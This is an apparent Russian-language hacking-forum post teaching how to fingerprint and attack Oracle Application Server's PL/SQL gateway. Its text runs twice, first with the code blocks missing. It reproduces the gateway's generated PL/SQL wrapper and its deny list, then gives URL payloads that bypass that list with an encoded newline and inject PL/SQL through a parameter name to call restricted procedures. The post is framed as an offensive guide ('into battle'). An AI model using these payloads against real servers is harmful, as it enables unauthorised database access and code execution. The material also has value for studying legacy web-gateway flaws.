Vortex777
Интересующийся
- Регистрация
- 27.06.2022
- Сообщения
- 98
- Реакции
- 0
- Гарант продажи
- 0
- Гарант покупки
- 0
- Депозит
- 0 р
1. Статья рассчитана на людей которые уже имеют знания в sql-injection в Oracle.
2. В этой часть речь пойдет именно об Oracle Application Server
3. Все вопросы или дополнения приветствуются
1. Начало
Oracle Application Server — это основанная на стандартах интегрированная программная платформа, позволяющая организациям любого масштаба оперативнее реагировать на меняющиеся требования рынка. Oracle Application Server 10g обеспечивает полную поддержку технологии J2EE и распределенных вычислений, включает встроенное ПО для корпоративных порталов, высокоскоростного Web-кэширования, бизнес-анализа, быстрого внедрения приложений, интеграции бизнес-приложений, поддержки беспроводных технологий, Web-сервисов — и все это в одном продукте. Поскольку платформа Oracle Application Server 10g оптимизирована для Grid Computing, она позволяет повысить степень готовности IT-систем и снизить расходы на приобретение аппаратных средств и администрирование.(www.oracle.com)
1.Начнем с того как нам понять что мы имеем дело именно с Oracle Application Server.
Первое и самое главное это спецефический URL который легко распознается.
package_name это естественно название пакета и procedure_name название процедуры
/dad/ это так называемый дескриптор доступа к БД (Database Access Descriptor) он прописан в dads.conf и содержит в себе данные для подключения к БД (адресс сервера,логин, пароль, sid)
/pls/ это укозатель на то что будет использоватся PlSql модуль, он прописан по умолчанию в plsql.conf в Apache Web Server
Но даже если использован другой укозатель распознать не проблема по псевдо расщирению файлов так как это название процедуры которую надо выполнить
Второе это так называемый баннер который передается в ответ на http запрос если он содержит в себе Oracle-Application-Server или
Oracle HTTP Server то это Application server правдо есть еще варианты Oracle9iAS и Oracle_Web_listener3 но с такими не сталкивался, из личной практики скажу что банеры часто меняют администраторы так что вариант номер один дает больше уверености.
2. Как оно работает
Oracle Application Server это всеволиш вебсервер который обращается к БД все пакеты процедур физически находятся в БД то есть сервер всеволиш дает запрос на выполнение процедуры и передает нам данные, формирования HTML страниц тоже происходит на уровне БД
Важно понемать что все найденные "баги" в Oracle Database можно использовать просто сформировав нужный Url.
И так что происходит когда мы набираем в браузере к примеру
Сервер получает от нас название пакета процедур "news" название процедуры "get_news" перменную id и иё значение 1
сервер формирует запрос к бд который выгледит так
Теперь перейдем непосредственно к процессу атаки.
3. В бой
Как раньше упоминал при обращение к бд Oracle Application Server вписывает в запрос строку для проверки базой нет ли названий процедры и пакета в списке запрещенных.
этот список постоянно дополняется поэтому сказать какой он на сегоднящний день я не могу но выглядит он примерно так
Но на любое действие как известно есть противодействие
Путь первый: url кодировка которую сервер естественно перекодирует и отправляет базе
Пример
Символ переноса строки "%0A" помог обойти проверку, упомянуть о том что oracle выпустил патч под данную уязвисмость и по моим личным наблюдениям могу сказать что он стоит в 80% встречающихся мне случаев.
Так же можно использовать не только символ переноса строки а так же таб пробел итд, проверяйте ищите)
David Litchfield (http://www.ngssoftware.com/) предложил один простой но очень эфективный способ, я tit не встречал случая чтоб он не сработал и надеюсь не встречу
Первое что нам надо найти это процедуру не требующию передачу параметра через переменную то есть что-то набодобие
Пример
Если передать любую переменную со значением site.com/pls/prt/portal.about?str=test сервер в ответ вернет ошибку 404 но перед тем как вернуть ответ бд выполнить pl/sql запрос
то есть строки
То есть название переменной передается в код и это открывает возможность для проведения иньекции.
Напомню что одностроковый коментарий в oracle обозначается как "--".
Пример
2. В этой часть речь пойдет именно об Oracle Application Server
3. Все вопросы или дополнения приветствуются
1. Начало
Oracle Application Server — это основанная на стандартах интегрированная программная платформа, позволяющая организациям любого масштаба оперативнее реагировать на меняющиеся требования рынка. Oracle Application Server 10g обеспечивает полную поддержку технологии J2EE и распределенных вычислений, включает встроенное ПО для корпоративных порталов, высокоскоростного Web-кэширования, бизнес-анализа, быстрого внедрения приложений, интеграции бизнес-приложений, поддержки беспроводных технологий, Web-сервисов — и все это в одном продукте. Поскольку платформа Oracle Application Server 10g оптимизирована для Grid Computing, она позволяет повысить степень готовности IT-систем и снизить расходы на приобретение аппаратных средств и администрирование.(www.oracle.com)
1.Начнем с того как нам понять что мы имеем дело именно с Oracle Application Server.
Первое и самое главное это спецефический URL который легко распознается.
Код:
http://www.site.com/pls/dad/package_name.procedure_name
/dad/ это так называемый дескриптор доступа к БД (Database Access Descriptor) он прописан в dads.conf и содержит в себе данные для подключения к БД (адресс сервера,логин, пароль, sid)
/pls/ это укозатель на то что будет использоватся PlSql модуль, он прописан по умолчанию в plsql.conf в Apache Web Server
Но даже если использован другой укозатель распознать не проблема по псевдо расщирению файлов так как это название процедуры которую надо выполнить
Второе это так называемый баннер который передается в ответ на http запрос если он содержит в себе Oracle-Application-Server или
Oracle HTTP Server то это Application server правдо есть еще варианты Oracle9iAS и Oracle_Web_listener3 но с такими не сталкивался, из личной практики скажу что банеры часто меняют администраторы так что вариант номер один дает больше уверености.
2. Как оно работает
Oracle Application Server это всеволиш вебсервер который обращается к БД все пакеты процедур физически находятся в БД то есть сервер всеволиш дает запрос на выполнение процедуры и передает нам данные, формирования HTML страниц тоже происходит на уровне БД
Важно понемать что все найденные "баги" в Oracle Database можно использовать просто сформировав нужный Url.
И так что происходит когда мы набираем в браузере к примеру
Код:
http://site.com/pls/prt/news.get_news?id=1
сервер формирует запрос к бд который выгледит так
Код:
declare
rc__ number;
start_time__ binary_integer;
simple_list__ owa_util.vc_arr;
complex_list__ owa_util.vc_arr;
begin
start_time__ := dbms_utility.get_time;
owa.init_cgi_env(:n__,:nm__,:v__);
htp.HTBUF_LEN := 255;
null;
null;
simple_list__(1) := 'sys.%';
simple_list__(2) := 'dbms\_%';
simple_list__(3) := 'utl\_%';
simple_list__(4) := 'owa\_%';
simple_list__(5) := 'owa.%';
simple_list__(6) := 'htp.%';
simple_list__(7) := 'htf.%';
[b]if ((owa_match.match_pattern('news.get_news', simple_list__,complex_list__, true))) then[/b]
-- в строке выше происходит проверка нет ли обращения к процедурам к которым пользователь со сторыны web server-a доступа иметь не должен
rc__ := 2;
else
null;
orasso.wpg_session.init();
[b]news.get_news.bar(id=>:id);[/b] -- если проверка пройдена удачно то выполняем процедуру
if (wpg_docload.is_file_download) then
rc__ := 1;
wpg_docload.get_download_file(:doc_info);
orasso.wpg_session.deinit();
null;
null;
commit;
else
rc__ := 0;
orasso.wpg_session.deinit();
null;
null;
commit;
owa.get_page(:data__,:ndata__);
end if;
end if;
:rc__ := rc__;
:db_proc_time__ := dbms_utility.get_time - start_time__;
end;
Теперь перейдем непосредственно к процессу атаки.
3. В бой
Как раньше упоминал при обращение к бд Oracle Application Server вписывает в запрос строку для проверки базой нет ли названий процедры и пакета в списке запрещенных.
этот список постоянно дополняется поэтому сказать какой он на сегоднящний день я не могу но выглядит он примерно так
Код:
OWA*
SYS.*
DBMS_*
HTP.*
HTF.*
UTL_*
Но на любое действие как известно есть противодействие
Путь первый: url кодировка которую сервер естественно перекодирует и отправляет базе
Пример
Код:
site.com/pls/prt/%0AHTP.PRINT?id=123
Так же можно использовать не только символ переноса строки а так же таб пробел итд, проверяйте ищите)
David Litchfield (http://www.ngssoftware.com/) предложил один простой но очень эфективный способ, я tit не встречал случая чтоб он не сработал и надеюсь не встречу
Первое что нам надо найти это процедуру не требующию передачу параметра через переменную то есть что-то набодобие
Пример
Код:
site.com/pls/prt/portal.about
то есть строки
Код:
...
if ((owa_match.match_pattern('portal.about', simple_list__,
complex_list__,
true))) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
portal.about(str=>:str);
...
Напомню что одностроковый коментарий в oracle обозначается как "--".
Пример
Код:
site.com/pls/prt/portal.about?);HTP.PRINT(:1);--=test